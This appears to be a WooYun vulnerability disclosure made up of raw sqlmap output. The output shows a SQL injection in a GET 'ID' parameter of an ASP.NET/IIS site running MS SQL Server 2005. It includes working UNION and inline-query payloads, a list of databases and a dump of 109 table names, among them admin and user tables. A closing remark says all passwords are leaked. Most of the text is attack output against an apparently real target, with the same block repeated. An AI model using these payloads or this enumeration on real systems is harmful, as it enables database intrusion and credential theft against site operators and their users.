WooYun.org

Place: GET
Parameter: ID
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=1 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+CHAR(87)+CHAR(69)+CHAR(86)+CHAR(113)+CHAR(104)+CHAR(85)+CHAR(78)+CHAR(109)+CHAR(83)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ID=(SELECT CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1630=1630) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113))
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [8]:
[*] D2004
[*] master
[*] model
[*] msdb
[*] ReportServer$uncc
[*] ReportServer$unccTempDB
[*] tempdb
[*] uncc_dfss
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=1 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+CHAR(87)+CHAR(69)+CHAR(86)+CHAR(113)+CHAR(104)+CHAR(85)+CHAR(78)+CHAR(109)+CHAR(83)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ID=(SELECT CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1630=1630) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113))
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: uncc_dfss
[109 tables]
+------------------------+
| BasicInto |
| Columns |
| D99_CMD |
| DownLoadClass |
| DownLoadInfo |
| Finance |
| Financing |
| Hdlogin |
| Links |
| LoginUser |
| Option |
| Reg_Arrt |
| Sifung_Admins |
| Sifung_Cat_Fileds |
| Sifung_Col_Fileds |
| Sifung_FixFields |
| Sifung_Font |
| Sifung_Moudles |
| Sifung_Regex |
| Sifung_Sys |
| Vote |
| actionTable |
| activity |
| baomingFields |
| baomingFields |
| catClass1 |
| catClass1 |
| catLinks |
| cat_article1024 |
| cat_article1024 |
| cat_article1024 |
| cat_article1130 |
| cat_article2 |
| comdlist |
| core |
| dnt_admingroups |
| dnt_adminvisitlog |
| dnt_advertisements |
| dnt_announcements |
| dnt_attachments |
| dnt_attachpaymentlog |
| dnt_attachtypes |
| dnt_banned |
| dnt_bbcodes |
| dnt_bonuslog |
| dnt_creditslog |
| dnt_debatediggs |
| dnt_debates |
| dnt_failedlogins |
| dnt_favorites |
| dnt_forumfields |
| dnt_forumlinks |
| dnt_forums |
| dnt_help |
| dnt_invitation |
| dnt_locations |
| dnt_medalslog |
| dnt_medalslog |
| dnt_moderatormanagelog |
| dnt_moderators |
| dnt_myattachments |
| dnt_myposts |
| dnt_mytopics |
| dnt_navs |
| dnt_notices |
| dnt_onlinelist |
| dnt_onlinelist |
| dnt_onlinetime |
| dnt_orders |
| dnt_paymentlog |
| dnt_pms |
| dnt_polloptions |
| dnt_polls |
| dnt_postdebatefields |
| dnt_postid |
| dnt_posts1 |
| dnt_ratelog |
| dnt_scheduledevents |
| dnt_searchcaches |
| dnt_smilies |
| dnt_statistics |
| dnt_stats |
| dnt_statvars |
| dnt_tablelist |
| dnt_tags |
| dnt_templates |
| dnt_topicidentify |
| dnt_topics |
| dnt_topictagcaches |
| dnt_topictags |
| dnt_topictypes |
| dnt_userfields |
| dnt_usergroups |
| dnt_users |
| dnt_words |
| dtproperties |
| feedbackJL1024 |
| feedbackJL1024 |
| feedbackJL1024 |
| foofoofoo |
| friendLinks |
| htmlinfo |
| intent |
| jiaozhu |
| rivalrousness |
| signup |
| sqlmapoutput |
| toupiao |
| view_news |
+------------------------+
密码全泄露。。。。

这数据。。。。